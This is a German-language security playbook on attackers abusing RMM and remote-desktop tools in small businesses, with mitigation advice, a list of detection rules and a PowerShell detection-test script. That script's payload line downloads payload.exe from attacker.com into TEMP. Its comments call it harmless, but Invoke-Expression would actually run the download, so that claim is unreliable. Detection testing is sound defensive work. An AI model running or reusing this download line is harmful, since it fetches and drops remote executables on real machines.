RMM-Sicherheit für KMU: Ein Playbook zur Härtung des Fernzugriffs
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Angreifer missbrauchen zunehmend legitime Remote Monitoring and Management (RMM)-Werkzeuge und Remote Desktop Services (RDS), um Persistenz zu etablieren und die seitliche Bewegung zu unterstützen. Tools wie ConnectWise ScreenConnect, MeshAgent und VNC können durch Ausnutzung von Schwachstellen oder trojanisierte Installer als Waffen eingesetzt werden. Dies stellt eine erhebliche Herausforderung für kleine und mittlere Unternehmen dar, bei denen bösartige Aktivitäten der legitimen IT-Administration sehr ähnlich sein können.
Untersuchung
Die Analyse stützt sich auf Acronis-Telemetrie von über 1,8 Millionen verwalteten Endpunkten, um RMM-bezogene Risiken für KMUs und MSPs zu bewerten. Forscher fanden heraus, dass 63 % der Endpunkte mehrere Fernzugriffstools verwenden, was die potenzielle Angriffsfläche erweitert. Die Studie gruppierte RMM-Software in drei Kategorien: Werkzeuge zum Blockieren, Überwachen und Härten sowie Werkzeuge zum Prüfen und Warten.
Minderung
Organisationen sollten unnötige RDP-Dienste über Gruppenrichtlinien deaktivieren, die Netzwerkebenen-Authentifizierung (NLA) erzwingen und MFA für alle RMM-Administratorkonten verlangen. Eine Anwendungsfreigabeliste kann helfen, unautorisierte RMM-Installationen zu verhindern, während internetorientierte RMM-Infrastrukturen zeitnah gepatcht werden sollten. Das Routen des Fernzugriffs über VPN- oder ZTNA-Gateways wird ebenfalls empfohlen, um die Zugriffskontrollen zu verstärken.
Reaktion
Wenn unautorisierte RMM-Tools erkannt werden, sollten Organisationen sofort die Installationsquelle untersuchen und nach damit verbundenem Diebstahl von Anmeldedaten oder seitlicher Bewegung suchen. Unerlaubte MeshAgent-Aktivitäten sollten als bestätigter Kompromiss behandelt werden. Eine automatisierte Entfernung kann unwirksam sein, wenn Persistenzmechanismen vorhanden sind, was eine Eskalation zu manuellen Vorfallsreaktionen und einer tieferen forensischen Untersuchung erfordert.
Angriffsablauf
Wir aktualisieren diesen Abschnitt noch.
Erkennungen
Alternative Remotezugriffs-/Verwaltungssoftware (via Prozess-Erstellung)
Möglicher Versuch zur Remote-Befehlsausführung mit ScreenConnect (via cmdline)
Alternative Remotezugriffs-/Verwaltungssoftware (via System)
Alternative Remotezugriffs-/Verwaltungssoftware (via Audit)
Einsatz von PowerShell zur Bereitstellung von Malware [Windows Powershell]
Erkennen von RDP-Konfigurationsänderungen für unautorisierte Zugriffe [Windows Registry Event]
Ausführungssimulation
Voraussetzung: Die Telemetrie- und Basislinientestvorbereitung muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffserzählung & Befehle: Der Angreifer hat über ein Phishing-Payload Zugriff auf den Arbeitsplatz erhalten. Um Persistenz und Fernsteuerung zu etablieren, beabsichtigen sie, einen Remote Access Trojan zu deployen. Sie führen eine PowerShell-One-Liner aus, die, obwohl sie in dieser Simulation kein Payload tatsächlich herunterlädt, die Signaturzeichenkette
AsyncRATim Skriptblock enthält, um die Einsatzphase einer Malware-Installation zu simulieren. Dies imitiert einen Angreifer, der ein einfaches Skript verwendet, um seine Werkzeugsammlung herunterzuladen. -
Regressionstest-Skript:
# Simulationsskript, um die Erkennungsregel auszulösen, indem die gezielte Zeichenkette eingeschlossen wird. # Hinweis: Dies ist eine nicht bösartige Simulation, die nur darauf abzielt, Telemetrie zu erzeugen. $SimulatedMalwareName = "AsyncRAT" Write-Host "Initialisiere Bereitstellungssequenz für $SimulatedMalwareName..." # Dieser Block simuliert die Logik eines Downloaders/Installers $payload = "Invoke-WebRequest -Uri 'http://attacker.com/payload.exe' -OutFile '$env:TEMPmalware.exe'" # Die Zeichenfolge ausführen, um sicherzustellen, dass sie im Skriptblock-Log (Ereignis 4104) erscheint Invoke-Expression "Write-Output 'Bereitstellung $SimulatedMalwareName...'; $payload" -
Bereinigungskommandos:
# Bereinigung: Entfernen Sie eventuell tatsächlich erstellte Artefakte. # In dieser Simulation wurden keine Dateien tatsächlich heruntergeladen. Remove-Item -Path "$env:TEMPmalware.exe" -ErrorAction SilentlyContinue Write-Host "Bereinigung abgeschlossen."